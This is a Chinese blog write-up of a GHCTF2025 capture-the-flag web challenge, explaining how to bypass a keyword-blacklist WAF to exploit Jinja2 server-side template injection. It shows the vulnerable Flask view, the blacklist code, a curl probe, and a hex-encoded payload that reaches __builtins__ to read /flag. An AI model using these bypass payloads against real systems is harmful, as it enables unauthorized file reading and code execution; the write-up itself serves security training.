跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客GitHub 精选镜像工具UI配色美学隐私政策关于联系
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
Python

SSTI 绕过 WAF 黑名单策略与高阶 Payload 构造实战

综述由AI生成基于 GHCTF2025 WEB 赛道的文件上传题目,深入分析服务器端模板注入(SSTI)漏洞在严格 WAF 黑名单过滤下的绕过方法。文章首先通过代码审计定位 render_template_string 为攻击面,解析 WAF 对下划线、os、__builtins__ 等关键词的内容检测机制。随后演示了利用十六进制编码(\x)和字符串操作来隐藏敏感关键字的技术原理,提供了具体的 Python/Jinja2 Payload 示例,帮助安全从业者掌握对抗智能 WAF 的核心思路。

女王发布于 2026/4/6更新于 2026/5/2027 浏览

SSTI 绕过 WAF 黑名单策略与高阶 Payload 构造实战

在 GHCTF2025 的 WEB 赛道上,一道看似简单的文件上传题目,却让不少选手陷入了'知道有洞,但 payload 总被拦截'的困境。这道题表面上是文件上传,实际上却是一场针对 SSTI(服务器端模板注入)绕过能力的深度考验。很多选手能够快速识别出 SSTI 漏洞的存在,但在面对严格的黑名单过滤时,却往往束手无策,反复尝试的 payload 都被 WAF 无情拦截。

这种情况在真实的渗透测试和 CTF 比赛中并不少见。WAF(Web 应用防火墙)的过滤规则越来越智能,传统的 {{7*7}} 测试虽然能确认漏洞,但真正要执行命令、读取文件时,那些包含 os、flag、__builtins__ 等关键词的 payload 几乎都会被第一时间拦截。这道题的精妙之处在于,它模拟了一个相对真实的防御环境——不仅过滤常见敏感词,还对下划线这种在 Python 反射中至关重要的字符进行了拦截。

1. 理解题目环境与 WAF 过滤机制

在开始构造绕过 payload 之前,我们必须先彻底理解题目设置的防御环境。很多选手失败的原因不是技术不行,而是没有仔细分析过滤规则,盲目尝试各种已知的 payload。

1.1 代码审计:识别真正的攻击面

题目虽然以文件上传为入口,但通过代码审计可以发现,上传功能本身被严格限制:

ALLOWED_EXTENSIONS = {'txt', 'log', 'text', 'md', 'jpg', 'png', 'gif'}
def allowed_file(filename):
    return '.' in filename and \
        filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

这是典型的白名单过滤,只允许特定扩展名的文件。更重要的是 secure_filename() 函数的使用,它会清理文件名中的特殊字符,防止路径遍历等攻击。真正的漏洞点在于文件查看功能:

tmp_str = """<!DOCTYPE html> <html lang="zh"> <head>...</head> <body> <h1>文件内容:{name}</h1> <pre>{data}</pre> </body> </html>""".format(name=safe_filename, data=file_data)
return render_template_string(tmp_str)

这里的关键是 render_template_string() 函数,它将用户控制的文件内容直接渲染为模板。如果文件内容包含 Jinja2 模板语法,就会被执行。

1.2 WAF 黑名单分析

题目中的 WAF 实现相对简单但有效:

def contains_dangerous_keywords(file_path):
    dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__', 'flag']
    with open(file_path, 'rb') as f:
        file_content = str(f.read())
    for keyword in dangerous_keywords:
        if keyword in file_content:
            return True
    return False

这个过滤列表设计得相当有针对性:

过滤关键词在 SSTI 中的作用绕过难度
_属性访问分隔符、双下划线前缀高
os执行系统命令的关键模块中
subclasses获取子类链的核心方法高
__builtins__内置函数和模块的入口高
__globals__访问全局命名空间高
flag目标文件名低

注意:这里的过滤是内容检测,不是参数名检测。这意味着即使我们将 payload 放在 URL 参数中,只要文件内容包含这些关键词,就会被拦截。

1.3 初步测试与漏洞确认

在构造复杂 payload 之前,先用最简单的测试确认漏洞:

# 创建测试文件
echo '{{7*7}}' > test.txt
# 上传后访问
curl http://target/file/test.txt

如果返回的页面中显示 49 而不是 {{7*7}},就确认了 SSTI 漏洞的存在。这个测试 payload 不包含任何黑名单关键词,所以能顺利通过 WAF。

2. 基础绕过技术:编码与字符串操作

当直接使用敏感关键词被拦截时,最直接的思路就是不让这些关键词以明文形式出现。编码和字符串操作是绕过关键词过滤的经典方法。

2.1 十六进制编码绕过

Python 和 Jinja2 都支持十六进制表示法,这为我们绕过关键词检测提供了可能。在 Python 字符串中,\x 后跟两个十六进制数字表示一个字符。

原始 payload(会被拦截):

{{ lipsum.__globals__.__builtins__.open('/flag').read() }}

十六进制编码版本:

{{ lipsum["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["open"]("/fla\x67").read() }}

目录

  1. SSTI 绕过 WAF 黑名单策略与高阶 Payload 构造实战
  2. 1. 理解题目环境与 WAF 过滤机制
  3. 1.1 代码审计:识别真正的攻击面
  4. 1.2 WAF 黑名单分析
  5. 1.3 初步测试与漏洞确认
  6. 创建测试文件
  7. 上传后访问
  8. 2. 基础绕过技术:编码与字符串操作
  9. 2.1 十六进制编码绕过
  • 💰 8折买阿里云服务器限时8折了解详情
  • Magick API 一键接入全球大模型注册送1000万token查看
  • 🤖 一键搭建Deepseek满血版了解详情
  • 一键打造专属AI 智能体了解详情
极客日志微信公众号二维码

微信扫一扫,关注极客日志

微信公众号「极客日志V2」,在微信中扫描左侧二维码关注。展示文案:极客日志V2 zeeklog

更多推荐文章

查看全部
  • Video2Robot:从视频到机器人动作的端到端生成管道
  • 文心一言 4.5 开源模型部署实战与多场景应用解析
  • YOLOv8n 机器人场景目标检测环境搭建与数据集处理
  • 大模型选型避坑指南:AI Ping 性能评测与实战建议
  • GoView 低代码数据可视化开发平台实战指南
  • IIS 部署 .NET 6 WebApi 实战指南及优缺点分析
  • 融合选择性卷积与残差结构的 SKResNet 架构详解
  • 基于 AI 大模型构建交互式海龟汤游戏
  • Java 大数据在智能家居能源消耗趋势预测与节能策略优化中的应用
  • 私有化部署 FastGPT+OneAPI 构建大模型知识库
  • 基于 ChatGPT 构建电商客服问答系统
  • Java 自定义注解详解
  • 鸿蒙 ArkWeb 组件内核:加载机制与 Cookie 管理
  • Python 性能优化的 8 个实用技巧
  • StarRocks 与 MySQL 深度对比:架构、性能与选型
  • 2026 年高校 AIGC 检测新规解读:AI 率合格标准分析
  • 机器人通讯架构选型:CAN/FD、高速 485 与 EtherCAT 深度对比
  • 机器人第一性原理:技术演进的本构逻辑与实现路径
  • Java 核心工具类实战:String 与日期时间 API
  • 基于 WebSocket 的外汇实时数据接入方案

相关免费在线工具

  • curl 转代码

    解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online

  • Base64 字符串编码/解码

    将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online

  • Base64 文件转换器

    将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online

  • Markdown转HTML

    将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online

  • HTML转Markdown

    将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML转Markdown在线工具,online

  • JSON 压缩

    通过删除不必要的空白来缩小和压缩JSON。 在线工具,JSON 压缩在线工具,online